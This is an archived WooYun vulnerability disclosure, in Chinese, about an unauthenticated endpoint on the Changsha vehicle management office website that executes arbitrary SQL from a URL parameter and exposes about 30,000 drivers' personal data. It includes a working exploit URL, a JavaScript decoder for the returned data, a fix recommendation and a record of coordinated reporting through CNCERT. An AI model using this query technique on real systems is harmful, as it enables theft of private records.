当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-057342

漏洞标题:某市车管所任意SQL执行漏洞,3W用户车辆信息泄露

相关厂商:长沙市公安局交通警察支队车队管理所

漏洞作者: 龙龙

提交时间:2014-04-17 10:56

修复时间:2014-06-01 10:56

公开时间:2014-06-01 10:56

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-17: 细节已通知厂商并且等待厂商处理中
2014-04-22: 厂商已经确认,细节仅向厂商公开
2014-05-02: 细节向核心白帽子及相关领域专家公开
2014-05-12: 细节向普通白帽子公开
2014-05-22: 细节向实习白帽子公开
2014-06-01: 细节向公众公开

简要描述:

任意SQL执行!
约3万多驾驶员姓名、手机号码、身份证、家庭住址、车牌号、车辆识别码、档案编号泄露.

详细说明:

漏洞站点:
长沙市公安局交通警察支队车队管理所
http://www.csjjcgs.cn
1.网页脚本泄露敏感接口
注册页面,通过查看页面原码,得到一个“数据服务”敏感接口,从传参上来看,该接口主要目的本是用来进行用户名及相关信息的验证,但并未做任何限制,参数为SQL语句。

datasetService?sql="+strSql;


1.jpg


2.未授权访问,任意SQL执行
代入相关SQL语句,获取用户表及数据集。返回的数据集进行了简单的加密。

http://www.csjjcgs.cn/datasetService?sql=select%20*%20from%20v_yw_yhzcjbxx%20where%20rownum%3C10


2.jpg


3.结果集解密,还原敏感信息
就地取材(通过select.js中的decode函数进行解密),以进行数据还原。
此处为了方便还原数据,编写一小工具用于数据还原测试。

<html>
<body>
<textarea rows="10" cols="200" id="t1"></textarea>
<br>
<input type="button" style="margin-left:200px;" value="Decode" onclick="writetext();" />
<br>
<textarea rows="10" cols="200" id="d1"></textarea>
<script>
function writetext()
{
var v =document.getElementById("t1").value;
var d =decode(v);

document.getElementById("d1").value = d;

}
function decode(strIn)
{
var intLen=strIn.length;
var strOut="";
var strTemp;
for(var i=0;i<intLen;i++)
{
strTemp=strIn.charAt(i);
switch(strTemp)
{
case"~":
{
strTemp=strIn.substring(i+1,i+3);
strTemp=parseInt(strTemp,16);
strTemp=String.fromCharCode(strTemp);
strOut=strOut+strTemp;
i+=2;
break;
}
case"^":
{
strTemp=strIn.substring(i+1,i+5);
strTemp=parseInt(strTemp,16);
strTemp=String.fromCharCode(strTemp);
strOut=strOut+strTemp;
i+=4;
break;
}
default:
{
strOut=strOut+strTemp;
break;
}
}
}
return(strOut);
}
</script>
</body>
</html>

漏洞证明:

6.jpg


注:为了证明漏洞存在,仅获取了部份数据以证明其严重性。

5.jpg


修复方案:

这种接口相当于开天窗,尽快重新设计接口吧
不知道这个接口存在多长时间了,建议暂时下线接口,以免被黑产利用进行欺诈或其它用途。
另外:
用户密码修改那一块,好象也可以越权修改他人账号。未做深入测试,请验证。

版权声明:转载请注明来源 龙龙@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-04-22 08:29

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给湖南分中心处置,对于所述分析过程,较为典型,涉及信息泄露风险,rank 15

最新状态:

暂无


漏洞评价:

评论

  1. 2014-04-19 00:15 | by小星星 ( 路人 | Rank:4 漏洞数:4 | 我会唱小星星、)

    黑产牛啊。

  2. 2014-06-16 17:12 | 云云 ( 路人 | Rank:0 漏洞数:2 | 我就一个马甲还要填信息?)

    rank给的够!

  3. 2014-08-03 17:22 | Melody ( 路人 | Rank:5 漏洞数:3 | 啊)

    怎么发现的漏洞?手动测试吗?